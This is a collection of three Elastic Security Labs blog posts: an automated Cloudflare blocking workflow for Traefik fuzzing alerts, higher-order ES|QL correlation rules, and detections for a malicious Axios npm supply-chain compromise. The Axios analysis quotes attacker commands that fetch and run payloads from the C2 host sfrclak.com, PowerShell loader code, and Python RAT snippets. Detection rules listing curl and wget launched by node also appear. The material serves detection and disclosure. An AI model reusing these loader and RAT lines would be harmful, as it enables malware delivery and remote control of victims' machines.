Threat Hunting - Elastic Security Labs

Detecting Web Server Probing & Fuzzing in Traefik with Automated Cloudflare Response

Erik-Jan de Kruijf — Fri, 08 May 2026 00:00:00 GMT

Introduction

Self-hosted services exposed through a reverse proxy inevitably attract automated scanners probing for misconfigurations, admin panels, and vulnerable endpoints. In this article, I show how to turn routine Traefik access logs into an active defensive control using Elastic Security and Cloudflare.

I use an out-of-the-box ES|QL detection rule to identify web server discovery and fuzzing behavior. When suspicious probing patterns are detected, an automated workflow immediately blocks the offending source IP at the edge via the Cloudflare API. The best part about this setup is that it scales effortlessly. By building this response plumbing once for fuzzing detection, I can attach the exact same block action to any other Elastic rule such as those catching SQL injections or file inclusion attempts. This transforms a basic logging pipeline into a highly adaptable perimeter defense.

Background and the threat landscape

My homelab setup utilizes Proxmox VE for containers and VMs. I use a Traefik reverse proxy, secured with Authelia for authentication, to allow external access without a VPN. Cloudflare, with proxy enabled, manages DNS.

For those less familiar with this specific stack, Traefik acts as the network's front door. When a web request arrives via Cloudflare, Traefik dynamically routes the traffic to the correct internal container while managing SSL certificates to keep the connections encrypted. However, before any traffic actually reaches those backend applications, it gets intercepted by Authelia. By leveraging Traefik's forward authentication feature, Authelia enforces Single Sign-On and Multi-Factor Authentication across the board. This means automated scanners and attackers cannot even reach the login screens of my internal services without passing through that initial secure portal.

To maintain visibility and security, I ingest these Traefik access logs into Elastic using the official integration. During routine monitoring, I've observed numerous HTTP 404 response codes originating from the same source IP addresses in these logs.

This pattern suggests potential web server probing or fuzzing traffic targeting vulnerabilities in applications that are not actually in use on my network. Examples of these targeted paths include /wp-includes/mani., /wp-content/plugins/all-in-one-wp-security-and-firewall/templates.php, /archive.php, and /wp-admin/includes/header.php.

Design philosophy: why not Fail2Ban?

A common question in the homelab community is why not simply use local tools like Fail2Ban or CrowdSec directly on the Traefik server. While those are excellent tools, orchestrating the response through Elastic Security and pushing the block to Cloudflare provides two major advantages. Dropping malicious traffic at the Cloudflare edge saves local bandwidth and keeps scanners off the home network entirely. Plus, orchestrating the response through Elastic gives us a single pane of glass for all security monitoring.

Detection strategy and implementation strategy

To effectively identify malicious reconnaissance, our strategy relies on analyzing the frequency of HTTP response codes at the proxy level. Specifically, we are looking for a high volume of 404 (Not Found) errors generated by a single source IP within a short time window, a classic indicator of directory fuzzing or vulnerability scanning.

While Elastic Security provides robust, out-of-the-box detection rules for this exact scenario, these rules require properly normalized ECS (Elastic Common Schema) data to function correctly. Detecting and mitigating these scans therefore requires a coordinated flow. To get this working, we need to ingest the Traefik logs, patch in the missing host.name field using a custom pipeline, and point the detection rule at our data.

Threshold logic and tuning

Our detection strategy shifts away from simple string matching, relying instead on statistical thresholds. The rule specifically monitors for denied or non-existent resources represented by HTTP 403 and 404 response codes and aggregates this activity by the originating source IP.

This behavior is governed by the final where statement in the query. By default, an alert only triggers if a source IP produces more than 500 errors across 250 distinct URI paths during the polling window. This dual-layered threshold is designed to eliminate false positives, ensuring that a single broken asset doesn't trigger a block while still identifying automated scripts that cycle through directory wordlists.

In a smaller homelab or smaller teams environment, these defaults are often too permissive. Since legitimate external traffic has no reason to hit non-existent admin panels on my network, I adjusted the sensitivity to catch stealthier reconnaissance efforts early. I modified the logic to trigger when event_count > 100 and url_original_count_distinct > 50.

For production environments where applications naturally generate higher error volumes, you might consider increasing these values or appending an ES|QL where not clause to exclude known broken links. Finally, I use a where source.ip not in (...) filter to ensure that authorized security tools or personal vulnerability scanners are not accidentally banned by the automated workflow.

Ingesting Traefik access logs

To ingest the Traefik access logs into the cluster, I used the default integration for Traefik. The Elastic Agent collects logs from Traefik servers. This integration writes the ingested logs into the logs-traefik.access-default datastream.

Building a custom ingest pipeline

The host.name field is crucial for the detection rule I'm using, but the default Traefik integration doesn't populate it. Therefore, a custom ingest pipeline is required to add this field. Since the Traefik integration utilizes a file stream on the Traefik server, I can copy the value from the existing agent.name field to populate host.name.

I specifically use the logs-traefik.access@custom pipeline instead of modifying the main one. Elastic integrations are designed to automatically pick up and run these @custom pipelines right at the end of their processing flow. More importantly, default pipelines get completely overwritten whenever I upgrade an integration. Stashing my logic in the custom pipeline ensures that my field mappings actually survive the next update. The necessary API call to create this pipeline can be executed in the Dev Tools console:

PUT _ingest/pipeline/logs-traefik.access@custom
{
  "description": "copy the agent.name field to the host.name field",
  "processors": [
    {
      "set": {
        "field": "host.name",
        "value": "{{{agent.name}}}",
        "override": false,
        "ignore_empty_value": true,
        "ignore_failure": true
      }
    }
  ]
}

Automated response via Cloudflare workflow

To move from detection to active defense, we implement a workflow that bridges the gap between our Elastic alerts and the Cloudflare edge. The logic is designed to be efficient: rather than creating a new firewall rule for every single alert, which would quickly hit Cloudflare’s rule limits, the workflow first retrieves the existing blocklist. It then dynamically appends the new offending source IP to that list before pushing the update back to the Cloudflare API. Once the edge is secured, the workflow finishes by acknowledging the alert in Elastic, effectively closing the loop on the incident.

Prerequisites and token scope

This process requires both an API key and the Zone ID for the Cloudflare configuration. The API token must possess "Zone WAF edit" privileges to enable the creation of the rule. When generating this token in the Cloudflare dashboard, use the "Create Custom Token" option and set the permissions strictly to Zone -> Zone WAF -> Edit.

Once the workflow is configured, it must be assigned as an action to the "Web Server Discovery or Fuzzing Activity" detection rule.

With the prerequisites in place, let's walk through how we build the workflow step-by-step.

Workflow configuration and triggers

First, we define the basic metadata. This workflow blocks the IP addresses found in the alerts of the Web Server Discovery or Fuzzing Activity. The workflow is enabled and has a timeout of 30 seconds for the API request. In this case, it's based on an alert, so it runs automatically when a security alert is triggered.

# =========================================================================
# Workflow: Block IP at Cloudflare test
# Category: security/response
# =========================================================================
version: '1'
name: Block IP at Cloudflare
enabled: true

triggers:
  - type: alert

Constants and authentication

This section holds the variables for authentication. Remember to substitute the placeholder strings with your actual API token and Zone ID.

consts:
  cloudflare_api: ""
  cloudflare_zone: ""

Step 1: Retrieving the current blocklist

The sequence checks if the firewall rule already exists. The workflow makes an HTTP GET request to retrieve the existing IP block rule.

steps:
  - name: cloudflare_current_block
    type: http
    with:
      url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
      headers:
        Authorization: Bearer {{consts.cloudflare_api}}
      method: GET
    on-failure:
      continue: true

Step 2: Updating or creating the firewall rule

If it exists, the rule gets appended with the IP address otherwise, the rule gets created. The workflow identifies if the "webserver scanning block" description is present. If so, it appends the new IP address to the current list of blocked IP addresses via a PUT request. If not, it falls back to creating a new rule.

 - name: cloudflare_block
    type: if
    condition: 'steps.cloudflare_current_block.output.data.result.rules[0].description == "webserver scanning block"'
    steps:
      - name: ip-block-cloudflare_add
        type: http
        with:
          url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ "rules": [ { "description": "webserver scanning block", "expression": "{{steps.cloudflare_current_block.output.data.result.rules[0].expression}} or (ip.src eq {{event.alerts[0].source.ip}})", "action": "block" } ]}'
    else:
      - name: ip-block-cloudflare_new
        type: http
        with:
          url: "https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint"
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ "rules":[ { "description": "webserver scanning block", "expression": "(ip.src eq {{event.alerts[0].source.ip}})", "action": "block" } ]}'
    on-failure:
      continue: true

Step 3: Acknowledging the alert

Then the alert gets acknowledged. This step uses the kibana.SetAlertsStatus action to automatically close out the alert in Elastic Security.

  - name: update_alert_status
    type: kibana.SetAlertsStatus
    with:
      status: "acknowledged"
      signal_ids: ["{{event.alerts[0]._id}}"]

Step 4: Attaching the Workflow to the Rule

With the workflow fully built, the final step is to actually attach it to the detection rule so it fires automatically. In the Elastic Security rule settings for the "Web Server Discovery or Fuzzing Activity" rule, I navigate to the Rule actions tab and add a new action. From the connector dropdown, I simply select the Cloudflare workflow I just created.

Note on WAF limits

Because this workflow concatenates IP addresses using an or statement (or (ip.src eq )), be mindful that Cloudflare has a character limit for custom WAF expressions (typically 4096 characters on standard tiers). In highly targeted environments, this string can eventually hit the limit. For homelabs and small teams, occasionally clearing out this WAF rule manually serves as a healthy reset.

Testing and Validation

To verify the pipeline is working end-to-end, we can generate some noise with a standard fuzzing tool. You can simulate a scanning attack against your own homelab using a fuzzing tool like ffuf or gobuster.

Run a quick scan against a non-existent directory on your public-facing Traefik domain:

ffuf -u https://your-domain.com/FUZZ -w /path/to/wordlist.txt

Once the simulation is running, we can observe the automated defense chain in action. The 404 errors appear almost immediately in the logs-traefik.access-default datastream. Within the polling interval, the ES|QL rule identifies the pattern and generates a new alert in the Elastic Security Alerts page. From there, the workflow takes over: it shifts the alert status to "acknowledged" and pushes the IP block to our Cloudflare WAF rule, effectively neutralizing the scanner at the edge before it can continue its reconnaissance.

You can confirm the block was successful by checking your Cloudflare Dashboard under Security -> WAF -> Custom rules. (Note: Be sure to remove your IP from the Cloudflare rule afterwards so you don't lock yourself out!)

Expanding the defense

The beauty of this setup is that our Cloudflare workflow isn't limited to just fuzzing detection. Once the automation is built, we can attach it to any Elastic rule that flags suspicious proxy traffic. For instance, we can tie this exact same response action to out-of-the-box rules targeting specific application exploits, like Web Server Local File Inclusion Activity, Web Server Potential Remote File Inclusion Activity to drop the attacker immediately. It also pairs perfectly with Potential Spike in Web Server Error Logs and Unusual Web User Agent to catch misconfigured scrapers and broader network noise. We build the plumbing once, and suddenly the whole perimeter gets smarter.

Conclusion

Wiring Traefik and Cloudflare into Elastic Security is a great way to turn basic access logs into an active defense. Homelab environments are constantly bombarded by automated scanners looking for low-hanging fruit. This automated workflow not only blocks attackers at the edge but also reduces alert fatigue by acknowledging the incidents automatically. It is a practical example of how security orchestration and response can save time while significantly improving your security posture.

Prioritizing Alerts Triage with Higher-Order Detection Rules

Samir Bousseaden — Thu, 02 Apr 2026 00:00:00 GMT

At Elastic, we operate a large and diverse set of behavior detection rules across multiple datasets, environments, and severity levels. Most of these rules are atomic, each designed to detect a specific behavior, signal, or attack pattern. In addition, we ingest and promote external alerts from security integrations such as firewalls, EDR, WAF, and other security controls.

The result is powerful visibility but also significant alert volume. From our telemetry, even when considering only non Building Block Rules, 65 unique detection rules generate nearly 8000 alerts per day per production cluster. Analyzing each alert in isolation is neither scalable nor cost-effective.

This is where Higher-Order Rules come into play.

Higher-order rules do not detect a single behavior. Instead, they correlate related alerts over time, across data sources, or within a shared context (such as host, user, IP, or process). By grouping signals into meaningful patterns, we can prioritize what truly matters and reduce the need for deep, expensive analysis on every individual alert whether performed manually, automated, or augmented by AI.

In this blog, we’ll walk through our approach to building Higher-Order Rules in Elastic, share practical examples, and highlight key lessons learned along the way.

What Are Higher-Order Rules?

Higher-Order Rules (HOR) are detections that use alerts as input, either correlating alerts with other alerts (alert-on-alert) or combining alerts with additional data such as raw events, metrics, or contextual telemetry.

Unlike atomic rules that detect a single behavior, Higher-Order Rules identify patterns across signals. Their purpose is not to replace base detections, but to elevate combinations of findings that are more likely to represent real attack activity. In practice, they surface higher-confidence findings and improve triage prioritization. Higher-Order rules are designed to work alongside Building Block Rules. Building block rules generate alerts that do not appear in the default alerts view, reducing noise while still feeding correlated detections. Many of the base rules referenced in this article can be also configured as building block rules, so that only Higher-Order correlations surface for analyst review.

The core insight is that independent detections converging on the same entity compound confidence, where each additional signal multiplies the likelihood that the activity is real, not benign.These three design principles operationalize that insight:

1. Entity-Based Correlation

Rules correlate activity by shared entities such as host, user, source IP, destination IP, or process - allowing analysts to quickly see when multiple findings converge on the same asset or identity.

2. Cross–Data Source Visibility

Some rules operate within a single integration (for example, endpoint-only detections from Elastic Defend or third-party EDR). Others intentionally combine signals across domains endpoint with network (PANW, FortiGate, Suricata), endpoint with email, or endpoint with system metrics to capture multi-stage or cross-surface activity.

3. Time and Prevalence Awareness

Temporal logic plays a key role.

Newly observed rules highlight the first occurrence of a given alert within a defined lookback window (for example, five days), ensuring that even a single rare alert is surfaced for review.

Prevalence-based logic (such as using INLINE STATS) filters for alerts that occur on only a small number of hosts globally, helping reduce noise and emphasize anomalous behavior.

The full set of Higher-Order Rules spans endpoint-only correlations, cross-domain detections (endpoint + network, endpoint + email), lateral movement patterns (for example, alert_1 host.ip = alert_2 source.ip), ATT&CK-aligned groupings (single or multi-tactic activity), newly observed alerts, and alert-to-event correlation (such as alerts combined with abnormal CPU metrics). The following sections walk through representative examples from these categories.

Correlation and Newly Observed Higher-Order Rules

In practice, high-risk activity does not always look the same.

Sometimes compromise reveals itself through multiple converging signals. Other times, it appears as a single alert that has never been seen before.

To handle both realities, we organize our Higher-Order Rules into three complementary patterns:

Correlation rules multiple alerts or events linked to a shared entity (host, user, IP, or process).
Newly observed rules a single alert that is rare or first-seen within a defined time window.
Hybrid patterns combining correlation with first-seen logic, which can further elevate suspicion and surface particularly interesting activity.

Correlation rules raise confidence through signal density and diversity: when several independent detections point to the same entity, the likelihood of real malicious activity increases.

Newly observed rules address the opposite case, low volume but high novelty. They prioritize alerts based on rarity over time, ensuring that first-time or highly unusual detections are not overlooked simply because they occur once.

Together, these approaches form the foundation of an efficient and scalable triage strategy.

Let’s dive into examples and explore the differences, strengths, and trade-offs of each pattern.

Endpoint Alerts Correlation

A significant portion of real-world attack discovery comes from endpoint telemetry. It provides rich context process activity, command lines, file behavior, and user actions making it one of the most powerful detection sources.

At the same time, endpoint environments are dynamic. Legitimate software, admin tools, and third-party applications (and recently GenAI endpoint utilities 🥲) can generate high alert volume and false positives, requiring continuous tuning.

Higher-Order correlation helps address this by shifting the focus from individual alerts to multiple distinct signals on the same host or process increasing confidence while reducing unnecessary investigation effort.

The following ES|QL query triggers when there are 3 unique Elastic Defend behavior rules OR alerts from different features (e.g. one shellcode_thread with behavior, malicious_file with behavior) OR more than 2 malware alerts in a 24h time Window from the same host:

from logs-endpoint.alerts-* metadata _id
| eval day = DATE_TRUNC(24 hours, @timestamp)
| where event.code in ("malicious_file", "memory_signature",  "shellcode_thread", "behavior") and 
 agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus")
| stats Esql.alerts_count = COUNT(*),
        Esql.event_code_distinct_count = count_distinct(event.code),
        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
        Esql.file_hash_distinct_count = COUNT_DISTINCT(file.hash.sha256),
        Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id, day
| where (Esql.event_code_distinct_count >= 2 or Esql.rule_name_distinct_count >= 3 or Esql.file_hash_distinct_count >= 2)

To further raise suspicion, we can also correlate Elastic Defend alerts that belong to the same process tree:

from logs-endpoint.alerts-*
| where event.code in ("malicious_file", "memory_signature", "shellcode_thread", "behavior") and
        agent.id is not null and not rule.name in ("Multi.EICAR.Not-a-virus") and process.Ext.ancestry is not null

// aggregate alerts by process.Ext.ancestry and agent.id
| stats Esql.alerts_count = COUNT(*),
        Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),
        Esql.event_code_distinct_count = COUNT_DISTINCT(event.code),
        Esql.process_id_distinct_count = COUNT_DISTINCT(process.entity_id),
        Esql.message_values = VALUES(message),
   ... by process.Ext.ancestry, agent.id

// filter for at least 3 unique process IDs and 2 or more alert types or rule names.
| where Esql.process_id_distinct_count >= 3 and (Esql.rule_name_distinct_count >= 2 or Esql.event_code_distinct_count >= 2)

// keep unique values
| stats Esql.alert_names = values(Esql.message_values),
        Esql.alerts_process_cmdline_values = VALUES(Esql.process_command_line_values),
... by agent.id
| keep Esql.*, agent.id

Example of matches:

To complement our coverage, we will need to also look for rare atomic ones. The following ES|QL is designed to run on a 10-minute schedule with a 5 or 7 day lookback window. The lookback aggregates all alerts by rule name over the full window to compute first-seen time. The final filter (Esql.recent <= 10) ensures only rules whose first-seen time falls within with current 10-minute execution window are surfaced, effectively detecting the moment a rule fires for the first time in the lookback period. This surfaces both rare false positives and stealthy behaviors that might otherwise be lost in volume:

from logs-endpoint.alerts-*
| WHERE event.code == "behavior" and rule.name is not null
| STATS Esql.alerts_count = count(*),
        Esql.first_time_seen = MIN(@timestamp),
        Esql.last_time_seen = MAX(@timestamp),
        Esql.agents_distinct_count = COUNT_DISTINCT(agent.id),
        Esql.process_executable = VALUES(process.executable),
        Esql.process_parent_executable = VALUES(process.parent.executable),
        Esql.process_command_line = VALUES(process.command_line),
        Esql.process_hash_sha256 = VALUES(process.hash.sha256),
        Esql.host_id_values = VALUES(host.id),
        Esql.user_name = VALUES(user.name) by rule.name
// first time seen in the last 5 days - defined in the rule schedule Additional look-back time
| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now())
// first time seen is within 10m of the rule execution time
| where Esql.recent <= 10 and Esql.agents_distinct_count == 1 and Esql.alerts_count <= 10 and (Esql.last_time_seen == Esql.first_time_seen)
// Move single values to their corresponding ECS fields for alerts exclusion
| eval host.id = mv_min(Esql.host_id_values)
| keep host.id, rule.name, Esql.*

The same logic can be applied to an External Alert from other third party EDRs:

Endpoint with Network Alerts Correlation

A powerful detection approach is correlating endpoint alerts with network alerts. This helps answer the key question:

Which process triggered this network alert?

Network alerts alone often lack process context, such as which user or executable initiated the activity. By combining network alerts with endpoint telemetry (EDR data), you can enrich alerts with:

Process name and hash
Command line and parent process
User and device information

The following query correlates any Elastic Defend alert with suspicious events from network security devices such as Palo Alto Networks (PANW) and Fortinet FortiGate. The join key is the IP address: for network alerts, this is source.ip, for endpoint alerts, it is host.ip. The query normalizes these into a single field using COALESCE, enabling correlation across data sources that use different field names for the same entity. This may indicate that this host is compromised and triggering multi-datasource alerts.

FROM logs-* metadata _id
| WHERE 
 (event.module == "endpoint" and event.dataset == "endpoint.alerts") or
 (event.dataset == "panw.panos" and event.action in ("virus_detected", "wildfire_virus_detected", "c2_communication", ...)) or
 (event.dataset == "fortinet_fortigate.log" and (...)) or
 (event.dataset == "suricata.eve" and message in ("Command and Control Traffic", "Potentially Bad Traffic", ...))
| eval 
      fw_alert_source_ip = CASE(event.dataset in ("panw.panos", "fortinet_fortigate.log"), source.ip, null),
      elastic_defend_alert_host_ip = CASE(event.module == "endpoint" and event.dataset == "endpoint.alerts", host.ip, null)
| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip)
| where Esql.source_ip is not null
| stats Esql.alerts_count = COUNT(*),
        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
        Esql.message_values_distinct_count = COUNT_DISTINCT(message),
        ... by Esql.source_ip
| where Esql.event_module_distinct_count >= 2 AND Esql.message_values_distinct_count >= 2
| eval concat_module_values = MV_CONCAT(Esql.event_module_values, ",")
| where concat_module_values like "*endpoint*"

Example of matches correlating Elastic Defend and Fortigate alerts where the source.ip of the FortiGate alert is equal to the host.ip of the Elastic Defend endpoint alert :

The following EQL query correlates Suricata alerts with Elastic Defend network events to provide context about the source process and host:

sequence by source.port, source.ip, destination.ip with maxspan=5s
// Suricata severithy 3 corresponds to information alerts, which are excluded to reduce noise
[network where event.dataset == "suricata.eve" and event.kind == "alert" and  event.severity != 3 and source.ip != null and destination.ip != null]
[network where event.module == "endpoint" and event.action in  ("disconnect_received", "connection_attempted")]

Example of matches confirming the Suricata alert and linking it to the target web server process nginx from Elastic Defend events confirming the web-exploitation attempt:

Endpoint Security with Observability

Correlating observability telemetry with security alerts is a powerful detection strategy.

The XZ Utils backdoor incident demonstrated that security-relevant anomalies may first surface as performance regressions rather than traditional security alerts. In that case, unusual behavior in the SSH daemon led to deeper investigation and eventual discovery of malicious code.

This highlights an important principle: operational anomalies can be early indicators of compromise.

With the Elastic Agent, system metrics such as CPU and memory utilization can be collected alongside security telemetry. By correlating abnormal resource spikes with SIEM alerts either by process or by host we can increase detection confidence and surface high-risk activity earlier.

For example, an ES|QL correlation rule can identify a process exhibiting sustained 70% CPU utilization that is also the source of a memory signature alert for a cryptominer from Elastic Defend. Individually, each signal may be low or medium severity. Correlated together, they represent high-confidence malicious activity.

We developed over 30 Higher-Order detections covering various types of relationships. While we can’t cover all of them here, the links below provide enough context to adapt these rules to your environment:

Endpoint Alerts:
Multiple Elastic Defend Alerts by Agent
Multiple Elastic Defend Alerts from a Single Process Tree
Multiple Rare Elastic Defend Behavior Rules by Host
Newly Observed Elastic Defend Behavior Alert
Multiple External EDR Alerts by Host

Endpoint and Network:
Newly Observed Palo Alto Network Alert
Newly Observed High Severity Suricata Alert
FortiGate SOCKS Traffic from an Unusual Process
PANW and Elastic Defend - Command and Control Correlation
Elastic Defend and Network Security Alerts Correlation
Suricata and Elastic Defend Network Correlation

Generic by MITRE ATT&CK:
Alerts in Different ATT&CK Tactics by Host
Multiple Alerts in Same ATT&CK Tactic by Host

Generic multi-integrations correlation:
Alerts From Multiple Integrations by Source Address
Alerts From Multiple Integrations by Destination Address
Alerts From Multiple Integrations by User Name
Newly Observed High Severity Detection Alert

Lateral movement correlation:
Suspected Lateral Movement from Compromised Host
Lateral Movement Alerts from a Newly Observed Source Address
Lateral Movement Alerts from a Newly Observed User

Observability and security correlation:
Detection Alert on a Process Exhibiting CPU Spike
Multiple Alerts on a Host Exhibiting CPU Spike
Newly Observed Process Exhibiting High CPU Usage

Machine Learning correlation:
Multiple Machine Learning Alerts by Influencer Field

Other correlation ideas:
Multiple Vulnerabilities by Asset via Wiz
Elastic Defend and Email Alerts Correlation
Suspicious Kerberos Authentication Ticket Request
Multiple Cloud Secrets Accessed by Source Address

These examples illustrate how correlating alerts across endpoints, network, and observability can enrich context, accelerate investigations, and improve detection confidence. We are actively expanding coverage in this area to support additional correlation scenarios.

You can enable them by filtering for the tag value Rule Type: Higher-Order Rule in the rules management page:

Over a 15-day period, alert counts remained within acceptable volume (~30 alerts/day). Targeted tuning of initial outliers is expected to reduce them to ~20 alerts/day and materially improve overall signal quality.

Considerations and Trade-offs

Higher-Order Rules introduce potential scheduling latency. Since they query alert indices, there is an inherent delay between when base alerts fire and when correlations surface. Rule scheduling intervals and loopback windows should be tuned to balance timeliness against performance cost. Additionally, HOR quality depends directly on the quality of the base detections. A noisy atomic rule will cascade false positives into every correlation that references it. We recommend tuning base rules aggressively before enabling dependent Higher-Order Rules. Finally, ESQL queries over broad index patterns (e.g. logs-*) can be expensive at scale. In high-volume environments, scoping index patterns to specific datasets or using dataviews can significantly reduce query cost.

Conclusion

High-Order rules are essential for prioritizing alert triage and managing alert volumes for automation and AI-driven analysis. When combined with Entity Risk Scoring, Higher-Order Rules can feed directly into host and user risk profiles, creating a quantitative prioritization layer that further reduces manual triage burden. In our production tests, the majority of these detections produced a medium to low alert volume, making them practical for real-world use. While a small number of noisy rules or false positives may initially surface, excluding these at the atomic rule level quickly leaves a robust set of high-value correlations.

To maximize their effectiveness, two operational practices are critical. First, ensure that input alerts use severity levels that accurately reflect both noise and real-world impact, cleaning and normalizing severity is foundational to meaningful correlation. Second, start small and expand deliberately: avoid trying to correlate every possible alert signal. Exclude inherently noisy tactics (such as discovery), deprioritize low-severity signals, and deprecate rules that disproportionately influence correlation outcomes.

Applied correctly, High-Order rules streamline investigations, improve detection accuracy, and significantly increase the efficiency and trustworthiness of modern security operations.

Elastic releases detections for the Axios supply chain compromise

Wed, 01 Apr 2026 00:00:00 GMT

Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have released a detailed analysis on the Axios compromise RAT and payloads.

Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.

Introduction

We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.

Elastic observed consistent execution patterns across impacted systems immediately after npm install of the malicious Axios versions (1.14.1, 0.30.4). The added dependency (plain-crypto-js@4.2.1) executed during postinstall and was quickly followed by a second-stage payload.

Across Linux, Windows, and macOS, the activity followed the same structure:

node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2

This results in a small but high-signal window where:

node spawns a shell or interpreter
a remote payload is fetched
execution is detached from the original process

Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.

How Elastic Detects the Supply Chain Attack

This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.

Linux

The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:

node → /bin/sh -c curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... &

Which shows up as follows:

The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the Curl or Wget Spawned via Node.js detection rule.

event.category:process and
process.parent.name:("node" or "bun" or "node.exe" or "bun.exe") and 
(
  (
    process.name:(
      "bash" or "dash" or "sh" or "tcsh" or "csh" or  "zsh" or "ksh" or
      "fish" or "cmd.exe" or "bash.exe" or "powershell.exe"
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:("curl" or "wget" or "curl.exe" or "wget.exe")
)

This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the curl invocation that retrieves /tmp/ld.py from the remote server.

Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by Process Backgrounded by Unusual Parent.

event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&)

Which captures the second half of the chain:

sh -c "... && nohup python3 /tmp/ld.py ... &"

The payload is launched with nohup and backgrounded immediately using &, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.

After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint work() sends an initial FirstInfo message and then transitions into main_work(), which continuously reports host data and processes tasking:

while True:
    ps = print_process_list()

    data = {
        "hostname": get_host_name(),
        "username": get_user_name(),
        "os": os,
        "processList": ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)

On first check-in, it performs a targeted directory enumeration via init_dir_info() across user paths such as $HOME, .config, Documents, and Desktop, and builds a process listing directly from /proc, including usernames and start times.

Tasking is minimal but flexible. runscript supports arbitrary shell execution or base64-delivered Python via python3 -c, while peinject simply writes attacker-supplied bytes to a hidden file in /tmp and executes it:

file_path = f"/tmp/.{generate_random_string(6)}"
with open(file_path, "wb") as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode("utf-8")))

This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.

Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:

Windows

The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (C:\ProgramData\wt.exe). The following alert shows the process chain:

Where:

wt.exe is a renamed copy of PowerShell.exe located in C:\ProgramData\wt.exe
curl is used to retrieve a remote PowerShell script
execution is performed via the renamed binary

We first observe the creation and use of the renamed interpreter. This is captured by Execution via Renamed Signed Binary Proxy, which flags signed system binaries executed from unexpected locations.

Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by Potential File Transfer via Curl for Windows, capturing the network retrieval stage driven from the scripted execution chain.

The second stage is a PowerShell-based RAT that beacons to its C2 (http[:]//sfrclak[.]com:8000/) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.

It establishes persistence via Run\MicrosoftUpdate registry key to execute a hidden bat script C:\ProgramData\system.bat:

The batch file dynamically retrieves and executes the payload in memory on login:

start /min powershell -w h -c "
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''"

Its core capabilities include:

peinject - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.
runscript - arbitrary PowerShell script execution via encoded commands or temp files,
rundir - filesystem enumeration of user directories and all drive roots.

On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.

The second stage triggers both the Startup Persistence via Windows Script Interpreter and Suspicious String Value Written to Registry Run Key alerts:

The Suspicious PowerShell Base64 Decoding rule alert captures the PowerShell RAT script content :

Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:

macOS

Analysis shows the loader writes AppleScript to a temp file, runs it via osascript, then downloads the second stage to a fake Apple-looking cache path and launches it through /bin/zsh. The key launcher looks like this:

do shell script "curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 && chmod 770 /Library/Caches/com.apple.act.mond \
 && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \ &> /dev/null"

The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :

The payload path itself triggers the Potential Binary Masquerading via Invalid Code Signature and Suspicious URL as argument to Self-Signed Binary endpoint rules, as it mimics Apple naming conventions (com.apple.*) but does not match expected signing characteristics.

com.apple.act.mond is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via libcurl and a JSON command protocol.

